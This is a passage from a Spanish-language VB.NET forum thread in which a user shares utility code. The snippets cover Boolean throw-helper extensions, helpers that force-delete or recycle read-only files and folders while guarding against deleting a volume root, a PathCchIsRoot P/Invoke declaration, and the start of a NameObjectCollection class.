  2. ' Author   : ElektroStudios
  3. ' Modified : 09-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' Boolean.ThrowIfTrue(Of TException As Exception)(Opt: TException)
  9. ' Boolean.ThrowIfFalse(Of TException As Exception)(Opt: TException)
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.ComponentModel
  24. Imports System.Runtime.CompilerServices
  25.  
  26. #End Region
  27.  
  28. #Region " Boolean Extensions "
  29.  
  30. ' ReSharper disable once CheckNamespace
  31.  
  32. Namespace DevCase.Extensions.BooleanExtensions
  33.  
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <summary>
  36.    ''' Contains custom extension methods to use with <see cref="Boolean"/> datatype.
  37.    ''' </summary>
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <HideModuleName>
  40.    Public Module BooleanExtensions
  41.  
  42. #Region " Public Extension Methods "
  43.  
  44.        ''' ----------------------------------------------------------------------------------------------------
  45.        ''' <summary>
  46.        ''' Throws an exception if the source value is true.
  47.        ''' </summary>
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <example> This is a code example.
  50.        ''' <code language="VB.NET">
  51.        ''' Dim value As Boolean = True
  52.        ''' ' value.ThrowIfTrue(Of ArgumentException)
  53.        ''' value.ThrowIfTrue(New ArgumentException(message:="'false' expected.", paramName:=NameOf(value)))
  54.        ''' </code>
  55.        ''' </example>
  56.        ''' ----------------------------------------------------------------------------------------------------        '''
  57.        ''' <typeparam name="TException">
  58.        ''' The type of exception to throw.
  59.        ''' </typeparam>
  60.        '''
  61.        ''' <param name="value">
  62.        ''' The value to evaluate.
  63.        ''' </param>
  64.        '''
  65.        ''' <param name="ex">
  66.        ''' Optionally, a instance of the exception to throw if the source <paramref name="value"/> is true.
  67.        ''' <para></para>
  68.        ''' If this value is null, a default instance of the exception type will be used.
  69.        ''' </param>
  70.        ''' ----------------------------------------------------------------------------------------------------
  71.        <DebuggerStepThrough>
  72.        <Extension>
  73.        <EditorBrowsable(EditorBrowsableState.Always)>
  74.        Public Sub ThrowIfTrue(Of TException As Exception)(value As Boolean, Optional ex As TException = Nothing)
  75.  
  76.            If value Then
  77.                If ex Is Nothing Then
  78.                    ex = Activator.CreateInstance(Of TException)
  79.                End If
  80.                Throw ex
  81.            End If
  82.  
  83.        End Sub
  84.  
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <summary>
  87.        ''' Throws an exception if the source value is false.
  88.        ''' </summary>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        ''' <example> This is a code example.
  91.        ''' <code language="VB.NET">
  92.        ''' Dim value As Boolean = False
  93.        ''' ' value.ThrowIfFalse(Of ArgumentException)
  94.        ''' value.ThrowIfFalse(New ArgumentException(message:="'true' expected.", paramName:=NameOf(value)))
  95.        ''' </code>
  96.        ''' </example>
  97.        ''' ----------------------------------------------------------------------------------------------------        '''
  98.        ''' <typeparam name="TException">
  99.        ''' The type of exception to throw.
  100.        ''' </typeparam>
  101.        '''
  102.        ''' <param name="value">
  103.        ''' The value to evaluate.
  104.        ''' </param>
  105.        '''
  106.        ''' <param name="ex">
  107.        ''' Optionally, a instance of the exception to throw if the source <paramref name="value"/> is false.
  108.        ''' <para></para>
  109.        ''' If this value is null, a default instance of the exception type will be used.
  110.        ''' </param>
  111.        ''' ----------------------------------------------------------------------------------------------------
  112.        <DebuggerStepThrough>
  113.        <Extension>
  114.        <EditorBrowsable(EditorBrowsableState.Always)>
  115.        Public Sub ThrowIfFalse(Of TException As Exception)(value As Boolean, Optional ex As TException = Nothing)
  116.  
  117.            If Not value Then
  118.                If ex Is Nothing Then
  119.                    ex = Activator.CreateInstance(Of TException)
  120.                End If
  121.                Throw ex
  122.            End If
  123.  
  124.        End Sub
  125.  
  126. #End Region
  127.  
  128.    End Module
  129.  
  130. End Namespace
  131.  
  132. #End Region
  133.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 10:25 am
Un código para forzar la eliminación de un directorio (que tenga el atributo de 'solo lectura') y sus subdirectorios.

Y también para forzar la eliminación o el reciclado de un archivo (que tenga el atributo de 'solo lectura').

Nota: este código no modifica los permisos de usuario de archivos ni de carpetas.



DirectoryInfoExtensions.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 09-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' DirectoryInfo.ForceDelete()
  9. ' DirectoryInfo.ForceDelete(Boolean)
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.ComponentModel
  24. Imports System.IO
  25. Imports System.Runtime.CompilerServices
  26. Imports System.Security
  27.  
  28. Imports DevCase.Win32
  29.  
  30. #End Region
  31.  
  32. #Region " DirectoryInfo Extensions "
  33.  
  34. ' ReSharper disable once CheckNamespace
  35.  
  36. Namespace DevCase.Extensions.DirectoryInfoExtensions
  37.  
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    ''' <summary>
  40.    ''' Contains custom extension methods to use with <see cref="Global.System.IO.DirectoryInfo"/> type.
  41.    ''' </summary>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    <HideModuleName>
  44.    Public Module DirectoryInfoExtensions
  45.  
  46. #Region " Public Extension Methods "
  47.  
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <summary>
  50.        ''' Forces the deletion of the specified directory if it is empty,
  51.        ''' by removing the read-only attribute and deleting it.
  52.        ''' </summary>
  53.        ''' ----------------------------------------------------------------------------------------------------
  54.        ''' <param name="directory">
  55.        ''' The directory to be deleted.
  56.        ''' </param>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        <DebuggerStepThrough>
  59.        <Extension>
  60.        <EditorBrowsable(EditorBrowsableState.Always)>
  61.        Public Sub ForceDelete(directory As DirectoryInfo)
  62.  
  63.            If directory.IsRootVolume Then
  64.                Throw New InvalidOperationException($"An attempt to delete the root directory of a volume (""{directory.FullName}"").")
  65.            End If
  66.  
  67.            If directory.IsReadOnly Then
  68.                directory.Attributes = directory.Attributes And Not FileAttributes.ReadOnly
  69.            End If
  70.  
  71.            directory.Delete(recursive:=False)
  72.  
  73.        End Sub
  74.  
  75.        ''' ----------------------------------------------------------------------------------------------------
  76.        ''' <summary>
  77.        ''' Forces the deletion of the specified directory, specifying whether to delete subdirectories and files
  78.        ''' by removing the read-only attribute and deleting them.
  79.        ''' </summary>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <param name="directory">
  82.        ''' The directory to be deleted.
  83.        ''' </param>
  84.        '''
  85.        ''' <param name="recursive">
  86.        ''' True to delete this directory, its subdirectories, and all files; otherwise, False.
  87.        ''' </param>
  88.        ''' ----------------------------------------------------------------------------------------------------
  89.        <DebuggerStepThrough>
  90.        <Extension>
  91.        <EditorBrowsable(EditorBrowsableState.Always)>
  92.        <SecuritySafeCritical>
  93.        Public Sub ForceDelete(directory As DirectoryInfo, recursive As Boolean)
  94.  
  95.            If directory.IsRootVolume Then
  96.                Throw New InvalidOperationException($"An attempt to delete the root directory of a volume (""{directory.FullName}"").")
  97.            End If
  98.  
  99.            If Not recursive AndAlso Not directory.IsEmpty Then
  100.                ' recursive value is False and the user is attempting to delete
  101.                ' a directory that is not empty (it needs recursive deletion).
  102.                '
  103.                ' We let the built-in "Delete" method to throw the exception for us.
  104.                IO.Directory.Delete(directory.FullName, recursive:=False)
  105.            End If
  106.  
  107.            If directory.IsReadOnly Then
  108.                directory.Attributes = directory.Attributes And Not FileAttributes.ReadOnly
  109.            End If
  110.  
  111.            ' Try recursive deletion.
  112.            Try
  113.                For Each subdirectory As DirectoryInfo In directory.GetDirectories("*", SearchOption.AllDirectories)
  114.                    If subdirectory.IsReadOnly Then
  115.                        subdirectory.Attributes = subdirectory.Attributes And Not FileAttributes.ReadOnly
  116.                    End If
  117.                Next
  118.                For Each file As FileInfo In directory.GetFiles("*", SearchOption.AllDirectories)
  119.                    If file.IsReadOnly Then
  120.                        file.Attributes = file.Attributes And Not FileAttributes.ReadOnly
  121.                    End If
  122.                Next
  123.                directory.Delete(recursive:=True)
  124.  
  125.            Catch ex As Exception
  126.                Throw
  127.  
  128.            End Try
  129.  
  130.        End Sub
  131.  
  132.        ''' ----------------------------------------------------------------------------------------------------
  133.        ''' <summary>
  134.        ''' Determines whether the source directory is read-only,
  135.        ''' i.e., it has the <see cref="FileAttributes.ReadOnly"/> attribute.
  136.        ''' </summary>
  137.        ''' ----------------------------------------------------------------------------------------------------
  138.        ''' <param name="directory">
  139.        ''' The directory to check.
  140.        ''' </param>
  141.        ''' ----------------------------------------------------------------------------------------------------
  142.        ''' <returns>
  143.        ''' True if the directory is read-only; otherwise, False.
  144.        ''' </returns>
  145.        ''' ----------------------------------------------------------------------------------------------------
  146.        <DebuggerStepThrough>
  147.        <Extension>
  148.        <EditorBrowsable(EditorBrowsableState.Always)>
  149.        Public Function IsReadOnly(directory As DirectoryInfo) As Boolean
  150.            Return (directory.Attributes And FileAttributes.ReadOnly) <> 0
  151.        End Function
  152.  
  153.        ''' ----------------------------------------------------------------------------------------------------
  154.        ''' <summary>
  155.        ''' Determines whether the <see cref="DirectoryInfo.FullName"/> path
  156.        ''' in the source directory refers to the root of a volume (e.g "C:\").
  157.        ''' </summary>
  158.        ''' ----------------------------------------------------------------------------------------------------
  159.        ''' <param name="directory">
  160.        ''' The directory to check.
  161.        ''' </param>
  162.        ''' ----------------------------------------------------------------------------------------------------
  163.        ''' <returns>
  164.        ''' True if the <see cref="DirectoryInfo.FullName"/> path
  165.        ''' in the source directory refers to the root of a volume (e.g "C:\");
  166.        ''' otherwise, False.
  167.        ''' </returns>
  168.        ''' ----------------------------------------------------------------------------------------------------
  169.        <DebuggerStepThrough>
  170.        <Extension>
  171.        <EditorBrowsable(EditorBrowsableState.Always)>
  172.        Public Function IsRootVolume(directory As DirectoryInfo) As Boolean
  173.            Return NativeMethods.PathCchIsRoot(directory.FullName)
  174.        End Function
  175.  
  176.        ''' ----------------------------------------------------------------------------------------------------
  177.        ''' <summary>
  178.        ''' Determines whether the source directory is empty (contains no files and no directories).
  179.        ''' </summary>
  180.        ''' ----------------------------------------------------------------------------------------------------
  181.        ''' <param name="sender">
  182.        ''' The source <see cref="Global.System.IO.DirectoryInfo"/>.
  183.        ''' </param>
  184.        ''' ----------------------------------------------------------------------------------------------------
  185.        ''' <returns>
  186.        ''' <see langword="True"/> if the directory is empty (contains no files and no directories),
  187.        ''' otherwise, <see langword="False"/>.
  188.        ''' </returns>
  189.        ''' ----------------------------------------------------------------------------------------------------
  190.        <DebuggerStepThrough>
  191.        <Extension>
  192.        <EditorBrowsable(EditorBrowsableState.Always)>
  193.        Public Function IsEmpty(sender As Global.System.IO.DirectoryInfo) As Boolean
  194.  
  195.            Return Not sender.EnumerateFileSystemInfos().Any()
  196.  
  197.        End Function
  198.  
  199. #End Region
  200.  
  201.    End Module
  202.  
  203. End Namespace
  204.  
  205. #End Region
  206.  



KernelBase.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 01-July-2019
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports System.Runtime.InteropServices
  17. Imports System.Security
  18.  
  19. #End Region
  20.  
  21. #Region " P/Invoking "
  22.  
  23. ' ReSharper disable once CheckNamespace
  24.  
  25. Namespace DevCase.Win32.NativeMethods
  26.  
  27.    ''' ----------------------------------------------------------------------------------------------------
  28.    ''' <summary>
  29.    ''' Platform Invocation methods (P/Invoke), access unmanaged code.
  30.    ''' <para></para>
  31.    ''' KernelBase.dll.
  32.    ''' </summary>
  33.    ''' ----------------------------------------------------------------------------------------------------
  34.    <HideModuleName>
  35.    <SuppressUnmanagedCodeSecurity>
  36.    <CodeAnalysis.SuppressMessage("CodeQuality", "IDE0079:Remove unnecessary suppression", Justification:="Required to migrate this code to .NET Core")>
  37.    <CodeAnalysis.SuppressMessage("Interoperability", "CA1401:P/Invokes should not be visible", Justification:="")>
  38.    Public Module KernelBase
  39.  
  40. #Region " KernelBase.dll "
  41.  
  42.        ''' ----------------------------------------------------------------------------------------------------
  43.        ''' <summary>
  44.        ''' Determines whether a path string refers to the root of a volume.
  45.        ''' <para></para>
  46.        ''' This function differs from <see cref="NativeMethods.PathIsRoot"/> in that it accepts paths with "\", "\?" and "\?\UNC" prefixes.
  47.        ''' </summary>
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <remarks>
  50.        ''' <see href="https://docs.microsoft.com/en-us/windows/desktop/api/pathcch/nf-pathcch-pathcchisroot"/>
  51.        ''' </remarks>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <param name="path">
  54.        ''' A pointer to the path string.
  55.        ''' </param>
  56.        ''' ----------------------------------------------------------------------------------------------------
  57.        ''' <returns>
  58.        ''' Returns <see langword="True"/> if the specified path is a root, or <see langword="False"/> otherwise.
  59.        ''' </returns>
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        <DllImport("KernelBase.dll", SetLastError:=True, CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  62.        Public Function PathCchIsRoot(path As String
  63.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  64.        End Function
  65.  
  66. #End Region
  67.  
  68.    End Module
  69.  
  70. End Namespace
  71.  
  72. #End Region
  73.  



FileInfoExtensions.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 10-September-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' FileInfo.ForceDelete()
  9. ' FileInfo.ForceRecycle(UIOption)
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.ComponentModel
  24. Imports System.IO
  25. Imports System.Runtime.CompilerServices
  26. Imports System.Security
  27.  
  28. #End Region
  29.  
  30. #Region " FileInfo Extensions "
  31.  
  32. ' ReSharper disable once CheckNamespace
  33.  
  34. Namespace DevCase.Extensions.FileInfoExtensions
  35.  
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <summary>
  38.    ''' Contains custom extension methods to use with <see cref="Global.System.IO.FileInfo"/> type.
  39.    ''' </summary>
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    <HideModuleName>
  42.    Public Module FileInfoExtensions
  43.  
  44. #Region " Public Extension Methods "
  45.  
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        ''' <summary>
  48.        ''' Sends the source file to the Recycle Bin.
  49.        ''' </summary>
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <example> This is a code example.
  52.        ''' <code language="VB.NET">
  53.        ''' Dim file As New FileInfo("C:\File.ext")
  54.        ''' file.Recycle(UIOption.OnlyErrorDialogs)
  55.        ''' </code>
  56.        ''' </example>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <param name="sender">
  59.        ''' The source <see cref="Global.System.IO.FileInfo"/>.
  60.        ''' </param>
  61.        '''
  62.        ''' <param name="dialog">
  63.        ''' Specifies which dialog boxes to show when recycling.
  64.        ''' </param>
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        <DebuggerStepThrough>
  67.        <Extension>
  68.        <EditorBrowsable(EditorBrowsableState.Always)>
  69.        <SecuritySafeCritical>
  70.        Public Sub Recycle(sender As Global.System.IO.FileInfo, dialog As FileIO.UIOption)
  71.  
  72.            Microsoft.VisualBasic.FileIO.FileSystem.DeleteFile(sender.FullName, dialog, Microsoft.VisualBasic.FileIO.RecycleOption.SendToRecycleBin, Microsoft.VisualBasic.FileIO.UICancelOption.DoNothing)
  73.  
  74.        End Sub
  75.  
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <summary>
  78.        ''' Forces the permanent deletion of the specified file by removing the read-only attribute and deleting it.
  79.        ''' </summary>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <param name="file">
  82.        ''' The file to be permanently deleted.
  83.        ''' </param>
  84.        ''' ----------------------------------------------------------------------------------------------------
  85.        <DebuggerStepThrough>
  86.        <Extension>
  87.        <EditorBrowsable(EditorBrowsableState.Always)>
  88.        <SecuritySafeCritical>
  89.        Public Sub ForceDelete(file As FileInfo)
  90.  
  91.            If file.IsReadOnly Then
  92.                file.Attributes = file.Attributes And Not FileAttributes.ReadOnly
  93.            End If
  94.  
  95.            file.Delete()
  96.  
  97.        End Sub
  98.  
  99.        ''' ----------------------------------------------------------------------------------------------------
  100.        ''' <summary>
  101.        ''' Forces the recycling of the specified file by removing the read-only attribute and sending it to the recycle bin.
  102.        ''' </summary>
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <param name="file">
  105.        ''' The file to be permanently deleted.
  106.        ''' </param>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        <DebuggerStepThrough>
  109.        <Extension>
  110.        <EditorBrowsable(EditorBrowsableState.Always)>
  111.        <SecuritySafeCritical>
  112.        Public Sub ForceRecycle(file As FileInfo, dialog As FileIO.UIOption)
  113.  
  114.            If file.IsReadOnly Then
  115.                file.Attributes = file.Attributes And Not FileAttributes.ReadOnly
  116.            End If
  117.  
  118.            file.Recycle(dialog)
  119.  
  120.        End Sub
  121.  
  122. #End Region
  123.  
  124.    End Module
  125.  
  126. End Namespace
  127.  
  128. #End Region
  129.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 10:35 am
Esta es mi implementación de una colección por nombre NameObjectCollection que hereda del tipo NameObjectCollectionBase.

El uso es idéntico a una colección de tipo NameValueCollection (key:String, value:String) pero con la diferencia de que el valor es de tipo Object (key:String, value:Object).

Casos de uso: convertir un JSON donde el valor no es del tipo String.

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 08-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. Imports System.Collections.Specialized
  17. Imports System.Runtime.Serialization
  18.  
  19. #End Region
  20.  
  21. Namespace DevCase.Runtime.Collections
  22.  
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    ''' <summary>
  25.    ''' Similarly to a <see cref="NameValueCollection"/>, this class represents a
  26.    ''' collection of associated <see cref="String"/> keys and <see cref="Object"/> values
  27.    ''' that can be accessed either with the name or with the index.
  28.    ''' </summary>
  29.    ''' ----------------------------------------------------------------------------------------------------
  30.    <Serializable>
  31.    Public Class NameObjectCollection : Inherits NameObjectCollectionBase
  32.  
  33. #Region " Private MethFieldsods "
  34.  
  35.        ''' ----------------------------------------------------------------------------------------------------
  36.        ''' <summary>
  37.        ''' Cached array of values in this <see cref="NameObjectCollection"/>.
  38.        ''' </summary>
  39.        ''' ----------------------------------------------------------------------------------------------------
  40.        Private _all() As Object
  41.  
  42.        ''' ----------------------------------------------------------------------------------------------------
  43.        ''' <summary>
  44.        ''' Cached array of keys in this <see cref="NameObjectCollection"/>.
  45.        ''' </summary>
  46.        ''' ----------------------------------------------------------------------------------------------------
  47.        Private _allKeys() As String
  48.  
  49. #End Region
  50.  
  51. #Region " Properties "
  52.  
  53.        ''' ----------------------------------------------------------------------------------------------------
  54.        ''' <summary>
  55.        ''' Gets or sets the entry with the specified key in this <see cref="NameObjectCollection"/>.
  56.        ''' </summary>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <param name="name">
  59.        ''' The <see cref="String"/> key of the entry to locate. The key can be null.
  60.        ''' </param>
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <returns>
  63.        ''' A <see cref="Object"/> that contains the comma-separated list of values associated with
  64.        ''' the specified key, if found; otherwise, null.
  65.        ''' </returns>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        Default Public Property Item(name As String) As Object
  68.            Get
  69.                Return Me.[Get](name)
  70.            End Get
  71.            Set(value As Object)
  72.                Me.[Set](name, value)
  73.            End Set
  74.        End Property
  75.  
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <summary>
  78.        ''' Gets the entry at the specified index of this <see cref="NameObjectCollection"/>.
  79.        ''' </summary>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <param name="index">
  82.        ''' The zero-based index of the entry to locate in the collection.
  83.        ''' </param>
  84.        ''' ----------------------------------------------------------------------------------------------------
  85.        ''' <returns>
  86.        ''' A <see cref="Object"/> that contains the comma-separated list of values at the specified
  87.        ''' index of the collection.
  88.        ''' </returns>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        Default Public ReadOnly Property Item(index As Integer) As Object
  91.            Get
  92.                Return Me.[Get](index)
  93.            End Get
  94.        End Property
  95.  
  96.        ''' ----------------------------------------------------------------------------------------------------
  97.        ''' <summary>
  98.        ''' Gets all the keys in this <see cref="NameObjectCollection"/>.
  99.        ''' </summary>
  100.        ''' ----------------------------------------------------------------------------------------------------
  101.        ''' <returns>
  102.        ''' A <see cref="String"/> array that contains all the keys of this <see cref="NameObjectCollection"/>.
  103.        ''' </returns>
  104.        ''' ----------------------------------------------------------------------------------------------------
  105.        Public Overridable ReadOnly Property AllKeys() As String()
  106.            Get
  107.                If Me._allKeys Is Nothing Then
  108.                    Me._allKeys = Me.BaseGetAllKeys()
  109.                End If
  110.  
  111.                Return Me._allKeys
  112.            End Get
  113.        End Property
  114.  
  115. #End Region
  116.  
  117. #Region " Constructors "
  118.  
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        ''' <summary>
  121.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  122.        ''' class that is empty, has the default initial capacity and uses the default case-insensitive
  123.        ''' hash code provider and the default case-insensitive comparer.
  124.        ''' </summary>
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        Public Sub New()
  127.        End Sub
  128.  
  129.        ''' ----------------------------------------------------------------------------------------------------
  130.        ''' <summary>
  131.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  132.        ''' class that is empty, has the specified initial capacity and uses the specified
  133.        ''' hash code provider and the specified comparer.
  134.        ''' </summary>
  135.        ''' ----------------------------------------------------------------------------------------------------
  136.        ''' <param name="hashProvider">
  137.        ''' The <see cref="System.Collections.IHashCodeProvider"/> that will supply the hash codes for
  138.        ''' all keys in this <see cref="NameObjectCollection"/>.
  139.        ''' </param>
  140.        ''' ----------------------------------------------------------------------------------------------------
  141.        ''' <param name="comparer">
  142.        ''' The <see cref="System.Collections.IComparer"/> to use to determine whether two keys are equal.
  143.        ''' </param>
  144.        ''' ----------------------------------------------------------------------------------------------------
  145.        <Obsolete("Please use NameObjectCollection(IEqualityComparer) instead.")>
  146.        Public Sub New(hashProvider As IHashCodeProvider, comparer As IComparer)
  147.            MyBase.New(hashProvider, comparer)
  148.        End Sub
  149.  
  150.        ''' ----------------------------------------------------------------------------------------------------
  151.        ''' <summary>
  152.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  153.        ''' class that is empty, has the specified initial capacity and uses the default
  154.        ''' case-insensitive hash code provider and the default case-insensitive comparer.
  155.        ''' </summary>
  156.        ''' ----------------------------------------------------------------------------------------------------
  157.        ''' <param name="capacity">
  158.        ''' The initial number of entries that this <see cref="NameObjectCollection"/>
  159.        ''' can contain.
  160.        ''' </param>
  161.        ''' ----------------------------------------------------------------------------------------------------
  162.        Public Sub New(capacity As Integer)
  163.            MyBase.New(capacity)
  164.        End Sub
  165.  
  166.        ''' ----------------------------------------------------------------------------------------------------
  167.        ''' <summary>
  168.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  169.        ''' class that is empty, has the default initial capacity, and uses the specified
  170.        ''' <see cref="System.Collections.IEqualityComparer"/> object.
  171.        ''' </summary>
  172.        ''' ----------------------------------------------------------------------------------------------------
  173.        ''' <param name="equalityComparer">
  174.        ''' The <see cref="System.Collections.IEqualityComparer"/> object to use to determine whether two
  175.        ''' keys are equal and to generate hash codes for the keys in the collection.
  176.        ''' </param>
  177.        ''' ----------------------------------------------------------------------------------------------------
  178.        Public Sub New(equalityComparer As IEqualityComparer)
  179.            MyBase.New(equalityComparer)
  180.        End Sub
  181.  
  182.        ''' ----------------------------------------------------------------------------------------------------
  183.        ''' <summary>
  184.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  185.        ''' class that is empty, has the specified initial capacity, and uses the specified
  186.        ''' <see cref="System.Collections.IEqualityComparer"/> object.
  187.        ''' </summary>
  188.        ''' ----------------------------------------------------------------------------------------------------
  189.        ''' <param name="capacity">
  190.        ''' The initial number of entries that this <see cref="NameObjectCollection"/>
  191.        ''' object can contain.
  192.        ''' </param>
  193.        '''
  194.        ''' <param name="equalityComparer">
  195.        ''' The <see cref="System.Collections.IEqualityComparer"/> object to use to determine whether two
  196.        ''' keys are equal and to generate hash codes for the keys in the collection.
  197.        ''' </param>
  198.        ''' ----------------------------------------------------------------------------------------------------
  199.        Public Sub New(capacity As Integer, equalityComparer As IEqualityComparer)
  200.            MyBase.New(capacity, equalityComparer)
  201.        End Sub
  202.  
  203.        ''' ----------------------------------------------------------------------------------------------------
  204.        ''' <summary>
  205.        ''' Copies the entries from the specified <see cref="NameObjectCollection"/>
  206.        ''' to a new <see cref="NameObjectCollection"/> with the specified
  207.        ''' initial capacity or the same initial capacity as the number of entries copied,
  208.        ''' whichever is greater, and using the default case-insensitive hash code provider
  209.        ''' and the default case-insensitive comparer.
  210.        ''' </summary>
  211.        ''' ----------------------------------------------------------------------------------------------------
  212.        ''' <param name="capacity">
  213.        ''' The initial number of entries that this <see cref="NameObjectCollection"/>
  214.        ''' can contain.
  215.        ''' </param>
  216.        '''
  217.        ''' <param name="col">
  218.        ''' this <see cref="NameObjectCollection"/> to copy to the new <see cref="NameObjectCollection"/>
  219.        ''' instance.
  220.        ''' </param>
  221.        ''' ----------------------------------------------------------------------------------------------------
  222.        Public Sub New(capacity As Integer, col As NameObjectCollection)
  223.            MyBase.New(capacity)
  224.            If col Is Nothing Then
  225.                Throw New ArgumentNullException(NameOf(col))
  226.            End If
  227.  
  228.            Me.Add(col)
  229.        End Sub
  230.  
  231.        ''' ----------------------------------------------------------------------------------------------------
  232.        ''' <summary>
  233.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  234.        ''' class that is empty, has the specified initial capacity and uses the specified
  235.        ''' hash code provider and the specified comparer.
  236.        ''' </summary>
  237.        ''' ----------------------------------------------------------------------------------------------------
  238.        ''' <param name="capacity">
  239.        ''' The initial number of entries that this <see cref="NameObjectCollection"/>
  240.        ''' can contain.
  241.        ''' </param>
  242.        '''
  243.        ''' <param name="hashProvider">
  244.        ''' The <see cref="System.Collections.IHashCodeProvider"/> that will supply the hash codes for
  245.        ''' all keys in this <see cref="NameObjectCollection"/>.
  246.        ''' </param>
  247.        '''
  248.        ''' <param name="comparer">
  249.        ''' The <see cref="System.Collections.IComparer"/> to use to determine whether two keys are equal.
  250.        ''' </param>
  251.        ''' ----------------------------------------------------------------------------------------------------
  252.        <Obsolete("Please use NameObjectCollection(Int32, IEqualityComparer) instead.")>
  253.        Public Sub New(capacity As Integer, hashProvider As IHashCodeProvider, comparer As IComparer)
  254.            MyBase.New(capacity, hashProvider, comparer)
  255.        End Sub
  256.  
  257.        ''' ----------------------------------------------------------------------------------------------------
  258.        ''' <summary>
  259.        ''' Initializes a new instance of the <see cref="NameObjectCollection"/>
  260.        ''' class that is serializable and uses the specified <see cref="System.Runtime.Serialization.SerializationInfo"/>
  261.        ''' and <see cref="System.Runtime.Serialization.StreamingContext"/>.
  262.        ''' </summary>
  263.        ''' ----------------------------------------------------------------------------------------------------
  264.        ''' <param name="info">
  265.        ''' A <see cref="System.Runtime.Serialization.SerializationInfo"/> object that contains the information
  266.        ''' required to serialize the new <see cref="NameObjectCollection"/>
  267.        ''' instance.
  268.        ''' </param>
  269.        '''
  270.        ''' <param name="context">
  271.        ''' A <see cref="System.Runtime.Serialization.StreamingContext"/> object that contains the source
  272.        ''' and destination of the serialized stream associated with the new <see cref="NameObjectCollection"/>
  273.        ''' instance.
  274.        ''' </param>
  275.        ''' ----------------------------------------------------------------------------------------------------
  276.        Protected Sub New(info As SerializationInfo, context As StreamingContext)
  277.            MyBase.New(info, context)
  278.        End Sub
  279.  
  280. #End Region
  281.  
  282. #Region " Public Methods "
  283.  
  284.        ''' ----------------------------------------------------------------------------------------------------
  285.        ''' <summary>
  286.        ''' Copies the entries in the specified <see cref="NameObjectCollection"/>
  287.        ''' to the current <see cref="NameObjectCollection"/>.
  288.        ''' </summary>
  289.        ''' ----------------------------------------------------------------------------------------------------
  290.        ''' <param name="c">
  291.        ''' this <see cref="NameObjectCollection"/> to copy to the current
  292.        ''' <see cref="NameObjectCollection"/>.
  293.        ''' </param>
  294.        ''' ----------------------------------------------------------------------------------------------------
  295.        Public Sub Add(c As NameObjectCollection)
  296.            If c Is Nothing Then
  297.                Throw New ArgumentNullException(NameOf(c))
  298.            End If
  299.  
